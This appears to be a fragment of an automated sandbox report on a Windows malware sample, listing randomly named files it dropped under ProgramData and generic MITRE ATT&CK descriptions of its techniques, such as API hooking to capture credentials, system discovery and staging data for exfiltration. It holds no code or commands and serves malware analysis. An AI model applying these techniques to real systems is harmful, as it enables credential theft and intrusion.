C:\ProgramData\AEGHJEGIEBFIJJKFIIIJ

C:\ProgramData\AFHDBGHJKFIDHJJJEBKEBGIEBG

C:\ProgramData\AKJDGIEHCAEHIEBFBKKKKFIDBK

C:\ProgramData\BFCFBKKKFHCFHJKFIIEH

C:\ProgramData\BGDAAKJJ

C:\ProgramData\DB Light Pack Engine 9.6.45\DB Light Pack Engine 9.6.45.exe

Windows Analysis Report
gobEmOm5sr.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre